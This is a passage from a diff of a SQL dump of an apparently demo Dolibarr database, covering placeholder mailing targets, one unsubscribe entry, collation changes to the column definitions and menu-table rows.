21:36:40',NULL,'2019-11-28 11:52:54'),(9,3,0,'Name 4','Firstname 4','emailtest4@example.com','','fdacf67090698e0216f5c9a449e7404a',2,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(10,3,0,'Name 5','Firstname 5','emailtest5@example.com','','38b4e4895bf5e7f9969c9ad9bbcd0dce',3,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(11,3,0,'Name 1','Firstname 1','emailtest1@example.com','','b2543a771e2a10c694fc6437859e29ae',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(12,3,0,'Do','John','johndoe@example.com','','bdb70b6835ca053b113e7ac53c83efbe',-1,'',NULL,'file','2017-01-29 21:36:40','Invalid email','2019-11-28 11:52:54'),(13,3,0,'Smith,Alan','','alan.smith@example.com','','326b9fb6d83f58b7ce5ca28a51022c83',2,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(15,3,0,'Bowl','Kathy','kathy.bowl@example.com','','0848d51a04ad29adf28de7d6efe63091',2,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(16,3,0,'Ducanseen','Herbert','herbert@example.com','','0585f4366c7b0c8bab592acb7256a409',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(17,3,0,'Djay','Djay','djay@example.com','','fad171648dcd8449d6e2f8246724f153',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(18,3,0,'','','alice.bigo@example.com','','86b03b13caec209e9a9d96979b7154b8',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(19,3,0,'','','bob.markus@example.com','','06df0b2b930718949a5afee280f04e6b',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(20,3,0,'Customer 1','','mycustomer1@example.com','','cac0a5a38fa9e67ed63d0753e08cd919',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(21,3,0,'Customer 2','','mycustomer2@example.com','','19b631ee27e7036684675f2db35c54f0',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(22,3,0,'Customer 3','','mycustomer3@example.com','','bfd49e2db7c511e2d5bde30eda7db07a',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(23,3,0,'Customer 4','','mycustomer4@example.com','','de4640d0684c62dd83ffc27ff20d5938',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(24,3,0,'Customer 5','','mycustomer5@example.com','','2eb5786291928fd23ca0354ac261ec9b',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(25,3,0,'Customer 6','','mycustomer6@example.com','','c50c85b7f3370232c1d1335e17f953ca',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(26,3,0,'Prospect 1','','myprospect1@example.com','','553b1f7417f7c96290cdec5ca4c560f7',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(27,3,0,'Prospect 2','','myprospect2@example.com','','de45e526168546315ff4fedb54e63102',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(28,3,0,'Prospect 3','','myprospect3@example.com','','466d946e7c46881334f4abe427d382fa',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(29,3,0,'Prospect 4','','myprospect4@example.com','','619d1ec47318842971db7fa266b6d74a',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(30,3,0,'Prospect 5','','myprospect5@example.com','','e301713dcbf58d33ef1ae540dee58ad7',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(31,3,0,'Prospect 6','','myprospect6@example.com','','26fcbd0c641a535bfc14a80a867a61f2',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(32,5,0,'Swiss customer supplier','','abademail@aa.com','','0e7d20e3c9b1612a75eab5d12da84060',0,'0',NULL,'',NULL,NULL,'2019-11-28 11:52:54'),(33,5,0,'Smith Vick','','vsmith@email.com','','cab14f12668ccb2c92843969819c6c6e',0,'0',NULL,'',NULL,NULL,'2019-11-28 11:52:54'),(34,5,0,'Name 2','Firstname 2','emailtest2@example.com','','1b6adeceaac7e2b9c399c877f8b1a616',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(35,5,0,'Name 3','Firstname 3','emailtest3@example.com','','c9f6f80ba118c378aef4974e17b01a07',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(36,5,0,'Name 4','Firstname 4','emailtest4@example.com','','75a3051301db736a2bb7722de7b4ece1',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(37,5,0,'Name 5','Firstname 5','emailtest5@example.com','','a9e292e70ec11ed58718c9f5da58f870',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(38,5,0,'Name 1','Firstname 1','emailtest1@example.com','','0243e796981c9e82cc23d8a6a5a23570',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(39,5,0,'Do','John','johndoe@example.com','','7db6219748fbad348b1aa89f2014d529',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(40,5,0,'Smith,Alan','','alan.smith@example.com','','5006f91f3bd97918460b6dc3edf4cd7f',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(41,5,0,'Bowl','Kathy','kathy.bowl@example.com','','377ac5b241f2d5bf421a7162c60bf7b6',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(42,5,0,'Ducanseen','Herbert','herbert@example.com','','10e1b891a249ee8046f1686a0a44d773',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(43,5,0,'Djay','Djay','djay@example.com','','6cf76a2b74874caa6b8eced78f63bca1',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(44,5,0,'','','alice.bigo@example.com','','61651804afc02887a3934ab042285044',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(45,5,0,'','','bob.markus@example.com','','b6d3e934e4bc92d194b43041260564da',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(46,5,0,'Customer 1','','mycustomer1@example.com','','fa9ade908a5a420e7dc64e62d1d9eb65',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(47,5,0,'Customer 2','','mycustomer2@example.com','','5d502923487f0f4226ab9f5f71102857',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(48,5,0,'Customer 3','','mycustomer3@example.com','','0b7da54f9969554eee95684069173f23',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(49,5,0,'Customer 4','','mycustomer4@example.com','','b073cf47a6af4740c76620ab4442033c',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(50,5,0,'Customer 5','','mycustomer5@example.com','','468b7404027e91edf437c3980619c8f6',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(51,5,0,'Customer 6','','mycustomer6@example.com','','cb196086497f64cd23dd68aed2bf5cc8',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(52,5,0,'Prospect 1','','myprospect1@example.com','','9854ed6528267f30c8c22c24384b31ae',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(53,5,0,'Prospect 2','','myprospect2@example.com','','b37ed581bbc51b6d9a334e1626b5fe22',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(54,5,0,'Prospect 3','','myprospect3@example.com','','8bedd7821877a72841efae36691f7765',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(55,5,0,'Prospect 4','','myprospect4@example.com','','518353a5cfb1a628ada10874ac4e0098',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(56,5,0,'Prospect 5','','myprospect5@example.com','','de392a2999e262fec63c9de4a3fe7613',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(57,5,0,'Prospect 6','','myprospect6@example.com','','56256cc297c4870c514819cdb4e6b95c',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(58,5,0,'Prospect 7','','myprospect7@example.com','','d32512607d4e74d6f71d031538128721',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(59,5,0,'Prospect 8','','myprospect8@example.com','','427eeb75492ede5355996a8df998f9de',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'); +INSERT INTO `llx_mailing_cibles` VALUES (1,1,0,'Dupont','Alain','toto@aa.com','Date fin=10/07/2011',NULL,0,'0',NULL,NULL,NULL,NULL,'2019-11-28 11:52:54'),(2,2,0,'Swiss customer supplier','','abademail@aa.com','',NULL,0,'0',NULL,NULL,NULL,NULL,'2019-11-28 11:52:54'),(3,2,0,'Smith Vick','','vsmith@email.com','',NULL,0,'0',NULL,NULL,NULL,NULL,'2019-11-28 11:52:54'),(4,3,0,'Swiss customer supplier','','abademail@aa.com','',NULL,1,'0',NULL,NULL,'2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(5,3,0,'Smith Vick','','vsmith@email.com','',NULL,1,'0',NULL,NULL,'2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(7,3,0,'Name 2','Firstname 2','emailtest2@example.com','','522b79aedf231576db576d246d82a0d7',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(8,3,0,'Name 3','Firstname 3','emailtest3@example.com','','f3e74e96a64068093af469b6826a75bf',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(9,3,0,'Name 4','Firstname 4','emailtest4@example.com','','fdacf67090698e0216f5c9a449e7404a',2,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(10,3,0,'Name 5','Firstname 5','emailtest5@example.com','','38b4e4895bf5e7f9969c9ad9bbcd0dce',3,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(11,3,0,'Name 1','Firstname 1','emailtest1@example.com','','b2543a771e2a10c694fc6437859e29ae',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(12,3,0,'Do','John','johndoe@example.com','','bdb70b6835ca053b113e7ac53c83efbe',-1,'',NULL,'file','2017-01-29 21:36:40','Invalid email','2019-11-28 11:52:54'),(13,3,0,'Smith,Alan','','alan.smith@example.com','','326b9fb6d83f58b7ce5ca28a51022c83',2,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(15,3,0,'Bowl','Kathy','kathy.bowl@example.com','','0848d51a04ad29adf28de7d6efe63091',2,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(16,3,0,'Ducanseen','Herbert','herbert@example.com','','0585f4366c7b0c8bab592acb7256a409',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(17,3,0,'Djay','Djay','djay@example.com','','fad171648dcd8449d6e2f8246724f153',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(18,3,0,'','','alice.bigo@example.com','','86b03b13caec209e9a9d96979b7154b8',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(19,3,0,'','','bob.markus@example.com','','06df0b2b930718949a5afee280f04e6b',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(20,3,0,'Customer 1','','mycustomer1@example.com','','cac0a5a38fa9e67ed63d0753e08cd919',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(21,3,0,'Customer 2','','mycustomer2@example.com','','19b631ee27e7036684675f2db35c54f0',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(22,3,0,'Customer 3','','mycustomer3@example.com','','bfd49e2db7c511e2d5bde30eda7db07a',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(23,3,0,'Customer 4','','mycustomer4@example.com','','de4640d0684c62dd83ffc27ff20d5938',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(24,3,0,'Customer 5','','mycustomer5@example.com','','2eb5786291928fd23ca0354ac261ec9b',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(25,3,0,'Customer 6','','mycustomer6@example.com','','c50c85b7f3370232c1d1335e17f953ca',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(26,3,0,'Prospect 1','','myprospect1@example.com','','553b1f7417f7c96290cdec5ca4c560f7',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(27,3,0,'Prospect 2','','myprospect2@example.com','','de45e526168546315ff4fedb54e63102',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(28,3,0,'Prospect 3','','myprospect3@example.com','','466d946e7c46881334f4abe427d382fa',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(29,3,0,'Prospect 4','','myprospect4@example.com','','619d1ec47318842971db7fa266b6d74a',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(30,3,0,'Prospect 5','','myprospect5@example.com','','e301713dcbf58d33ef1ae540dee58ad7',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(31,3,0,'Prospect 6','','myprospect6@example.com','','26fcbd0c641a535bfc14a80a867a61f2',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(32,5,0,'Swiss customer supplier','','abademail@aa.com','','0e7d20e3c9b1612a75eab5d12da84060',0,'0',NULL,'',NULL,NULL,'2019-11-28 11:52:54'),(33,5,0,'Smith Vick','','vsmith@email.com','','cab14f12668ccb2c92843969819c6c6e',0,'0',NULL,'',NULL,NULL,'2019-11-28 11:52:54'),(34,5,0,'Name 2','Firstname 2','emailtest2@example.com','','1b6adeceaac7e2b9c399c877f8b1a616',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(35,5,0,'Name 3','Firstname 3','emailtest3@example.com','','c9f6f80ba118c378aef4974e17b01a07',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(36,5,0,'Name 4','Firstname 4','emailtest4@example.com','','75a3051301db736a2bb7722de7b4ece1',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(37,5,0,'Name 5','Firstname 5','emailtest5@example.com','','a9e292e70ec11ed58718c9f5da58f870',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(38,5,0,'Name 1','Firstname 1','emailtest1@example.com','','0243e796981c9e82cc23d8a6a5a23570',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(39,5,0,'Do','John','johndoe@example.com','','7db6219748fbad348b1aa89f2014d529',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(40,5,0,'Smith,Alan','','alan.smith@example.com','','5006f91f3bd97918460b6dc3edf4cd7f',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(41,5,0,'Bowl','Kathy','kathy.bowl@example.com','','377ac5b241f2d5bf421a7162c60bf7b6',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(42,5,0,'Ducanseen','Herbert','herbert@example.com','','10e1b891a249ee8046f1686a0a44d773',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(43,5,0,'Djay','Djay','djay@example.com','','6cf76a2b74874caa6b8eced78f63bca1',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(44,5,0,'','','alice.bigo@example.com','','61651804afc02887a3934ab042285044',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(45,5,0,'','','bob.markus@example.com','','b6d3e934e4bc92d194b43041260564da',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(46,5,0,'Customer 1','','mycustomer1@example.com','','fa9ade908a5a420e7dc64e62d1d9eb65',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(47,5,0,'Customer 2','','mycustomer2@example.com','','5d502923487f0f4226ab9f5f71102857',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(48,5,0,'Customer 3','','mycustomer3@example.com','','0b7da54f9969554eee95684069173f23',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(49,5,0,'Customer 4','','mycustomer4@example.com','','b073cf47a6af4740c76620ab4442033c',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(50,5,0,'Customer 5','','mycustomer5@example.com','','468b7404027e91edf437c3980619c8f6',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(51,5,0,'Customer 6','','mycustomer6@example.com','','cb196086497f64cd23dd68aed2bf5cc8',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(52,5,0,'Prospect 1','','myprospect1@example.com','','9854ed6528267f30c8c22c24384b31ae',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(53,5,0,'Prospect 2','','myprospect2@example.com','','b37ed581bbc51b6d9a334e1626b5fe22',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(54,5,0,'Prospect 3','','myprospect3@example.com','','8bedd7821877a72841efae36691f7765',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(55,5,0,'Prospect 4','','myprospect4@example.com','','518353a5cfb1a628ada10874ac4e0098',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(56,5,0,'Prospect 5','','myprospect5@example.com','','de392a2999e262fec63c9de4a3fe7613',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(57,5,0,'Prospect 6','','myprospect6@example.com','','56256cc297c4870c514819cdb4e6b95c',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(58,5,0,'Prospect 7','','myprospect7@example.com','','d32512607d4e74d6f71d031538128721',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(59,5,0,'Prospect 8','','myprospect8@example.com','','427eeb75492ede5355996a8df998f9de',0,'',NULL,'file',NULL,NULL,'2019-11-28 11:52:54'),(60,6,0,'john','doe','johndoe@email.com','Login=john;Title=;End date=07/17/2014;Company=','10698de566dfbdd73c1f4bd2d956065e',2,'',3,'member','2023-02-25 00:02:21',NULL,'2023-02-25 03:07:58'),(61,6,0,'Curie','Pierre','pcurie@example.com','Login=pcurie;Title=;End date=07/17/2020;Company=','64d38bce8a23b98e81ccd4893182be20',1,'',2,'member','2023-02-25 00:02:21',NULL,'2023-02-25 03:02:21'),(62,6,0,'smith','smith','smith@email.com','Login=Smith;Title=;End date=07/17/2018;Company=','238dfc11f26e1dffccb4a6e014826b5f',1,'',4,'member','2023-02-25 00:02:21',NULL,'2023-02-25 03:02:21'),(63,6,0,'Smith','Vick','vsmith@email.com','Login=vsmith;Title=;End date=07/09/2014;Company=NLTechno','e8995334c1769f60f93baca38efd0ed7',2,'',1,'member','2023-02-25 00:02:21',NULL,'2023-02-25 03:07:50'); /*!40000 ALTER TABLE `llx_mailing_cibles` ENABLE KEYS */; UNLOCK TABLES; @@ -8818,14 +8111,14 @@ DROP TABLE IF EXISTS `llx_mailing_unsubscribe`; CREATE TABLE `llx_mailing_unsubscribe` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `email` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `unsubscribegroup` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT '', - `ip` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `email` varchar(255) DEFAULT NULL, + `unsubscribegroup` varchar(128) DEFAULT '', + `ip` varchar(128) DEFAULT NULL, `date_creat` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`rowid`), UNIQUE KEY `uk_mailing_unsubscribe` (`email`,`entity`,`unsubscribegroup`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8834,6 +8127,7 @@ CREATE TABLE `llx_mailing_unsubscribe` ( LOCK TABLES `llx_mailing_unsubscribe` WRITE; /*!40000 ALTER TABLE `llx_mailing_unsubscribe` DISABLE KEYS */; +INSERT INTO `llx_mailing_unsubscribe` VALUES (1,1,'aaa@it.com','',NULL,'2022-12-28 00:56:09','2022-12-28 00:56:09'); /*!40000 ALTER TABLE `llx_mailing_unsubscribe` ENABLE KEYS */; UNLOCK TABLES; @@ -8846,30 +8140,30 @@ DROP TABLE IF EXISTS `llx_menu`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_menu` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `menu_handler` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, + `menu_handler` varchar(16) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `module` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `type` varchar(4) COLLATE utf8mb3_unicode_ci NOT NULL, - `mainmenu` varchar(100) COLLATE utf8mb3_unicode_ci NOT NULL, + `module` varchar(255) DEFAULT NULL, + `type` varchar(4) NOT NULL, + `mainmenu` varchar(100) NOT NULL, `fk_menu` int(11) NOT NULL, - `fk_leftmenu` varchar(100) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fk_mainmenu` varchar(100) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fk_leftmenu` varchar(100) DEFAULT NULL, + `fk_mainmenu` varchar(100) DEFAULT NULL, `position` int(11) NOT NULL, - `url` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `target` varchar(100) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `titre` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `prefix` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `langs` varchar(100) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `url` varchar(255) NOT NULL, + `target` varchar(100) DEFAULT NULL, + `titre` varchar(255) NOT NULL, + `prefix` varchar(255) DEFAULT NULL, + `langs` varchar(100) DEFAULT NULL, `level` smallint(6) DEFAULT NULL, - `leftmenu` varchar(100) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `perms` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `enabled` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `leftmenu` varchar(100) DEFAULT NULL, + `perms` text DEFAULT NULL, + `enabled` text DEFAULT NULL, `usertype` int(11) NOT NULL DEFAULT 0, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`rowid`), UNIQUE KEY `idx_menu_uk_menu` (`menu_handler`,`fk_menu`,`position`,`url`,`entity`), KEY `idx_menu_menuhandler_type` (`menu_handler`,`type`) -) ENGINE=InnoDB AUTO_INCREMENT=167331 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=167621 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8878,7 +8172,7 @@ CREATE TABLE `llx_menu` ( LOCK TABLES `llx_menu` WRITE; /*!40000 ALTER TABLE `llx_menu` DISABLE KEYS */; -INSERT INTO `llx_menu` VALUES (103094,'all',2,'agenda','top','agenda',0,NULL,NULL,100,'/comm/action/index.php','','Agenda',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103095,'all',2,'agenda','left','agenda',103094,NULL,NULL,100,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda','','Actions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103096,'all',2,'agenda','left','agenda',103095,NULL,NULL,101,'/comm/action/card.php?mainmenu=agenda&leftmenu=agenda&action=create','','NewAction',NULL,'commercial',NULL,NULL,'($user->rights->agenda->myactions->create||$user->rights->agenda->allactions->create)','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103097,'all',2,'agenda','left','agenda',103095,NULL,NULL,102,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda','','Calendar',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103098,'all',2,'agenda','left','agenda',103097,NULL,NULL,103,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda&status=todo&filter=mine','','MenuToDoMyActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103099,'all',2,'agenda','left','agenda',103097,NULL,NULL,104,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda&status=done&filter=mine','','MenuDoneMyActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103100,'all',2,'agenda','left','agenda',103097,NULL,NULL,105,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda&status=todo','','MenuToDoActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2015-03-13 15:29:19'),(103101,'all',2,'agenda','left','agenda',103097,NULL,NULL,106,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda&status=done','','MenuDoneActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2015-03-13 15:29:19'),(103102,'all',2,'agenda','left','agenda',103095,NULL,NULL,112,'/comm/action/listactions.php?mainmenu=agenda&leftmenu=agenda','','List',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103103,'all',2,'agenda','left','agenda',103102,NULL,NULL,113,'/comm/action/listactions.php?mainmenu=agenda&leftmenu=agenda&status=todo&filter=mine','','MenuToDoMyActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103104,'all',2,'agenda','left','agenda',103102,NULL,NULL,114,'/comm/action/listactions.php?mainmenu=agenda&leftmenu=agenda&status=done&filter=mine','','MenuDoneMyActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103105,'all',2,'agenda','left','agenda',103102,NULL,NULL,115,'/comm/action/listactions.php?mainmenu=agenda&leftmenu=agenda&status=todo','','MenuToDoActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2015-03-13 15:29:19'),(103106,'all',2,'agenda','left','agenda',103102,NULL,NULL,116,'/comm/action/listactions.php?mainmenu=agenda&leftmenu=agenda&status=done','','MenuDoneActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2015-03-13 15:29:19'),(103107,'all',2,'agenda','left','agenda',103095,NULL,NULL,120,'/comm/action/rapport/index.php?mainmenu=agenda&leftmenu=agenda','','Reportings',NULL,'agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103134,'all',2,'opensurvey','top','opensurvey',0,NULL,NULL,200,'/opensurvey/index.php','','Surveys',NULL,'opensurvey',NULL,NULL,'$user->rights->opensurvey->survey->read','$conf->opensurvey->enabled',0,'2015-03-13 20:33:42'),(103135,'all',2,'opensurvey','left','opensurvey',-1,NULL,'opensurvey',200,'/opensurvey/index.php?mainmenu=opensurvey&leftmenu=opensurvey','','Survey',NULL,'opensurvey@opensurvey',NULL,'opensurvey','','$conf->opensurvey->enabled',0,'2015-03-13 20:33:42'),(103136,'all',2,'opensurvey','left','opensurvey',-1,'opensurvey','opensurvey',210,'/opensurvey/public/index.php','_blank','NewSurvey',NULL,'opensurvey@opensurvey',NULL,'opensurvey_new','','$conf->opensurvey->enabled',0,'2015-03-13 20:33:42'),(103137,'all',2,'opensurvey','left','opensurvey',-1,'opensurvey','opensurvey',220,'/opensurvey/list.php','','List',NULL,'opensurvey@opensurvey',NULL,'opensurvey_list','','$conf->opensurvey->enabled',0,'2015-03-13 20:33:42'),(161088,'auguria',1,'','top','home',0,NULL,NULL,10,'/index.php?mainmenu=home&leftmenu=','','Home',NULL,'',-1,'','','1',2,'2017-08-30 15:14:30'),(161089,'auguria',1,'societe|fournisseur','top','companies',0,NULL,NULL,20,'/societe/index.php?mainmenu=companies&leftmenu=','','ThirdParties',NULL,'companies',-1,'','$user->rights->societe->lire || $user->rights->societe->contact->lire','( ! empty($conf->societe->enabled) && (empty($conf->global->SOCIETE_DISABLE_PROSPECTS) || empty($conf->global->SOCIETE_DISABLE_CUSTOMERS))) || ! empty($conf->fournisseur->enabled)',2,'2017-08-30 15:14:30'),(161090,'auguria',1,'product|service','top','products',0,NULL,NULL,30,'/product/index.php?mainmenu=products&leftmenu=','','Products/Services',NULL,'products',-1,'','$user->rights->produit->lire||$user->rights->service->lire','$conf->product->enabled || $conf->service->enabled',0,'2017-08-30 15:14:30'),(161092,'auguria',1,'propal|commande|fournisseur|contrat|ficheinter','top','commercial',0,NULL,NULL,40,'/comm/index.php?mainmenu=commercial&leftmenu=','','Commercial',NULL,'commercial',-1,'','$user->rights->societe->lire || $user->rights->societe->contact->lire','$conf->propal->enabled || $conf->commande->enabled || $conf->supplier_order->enabled || $conf->contrat->enabled || $conf->ficheinter->enabled',2,'2017-08-30 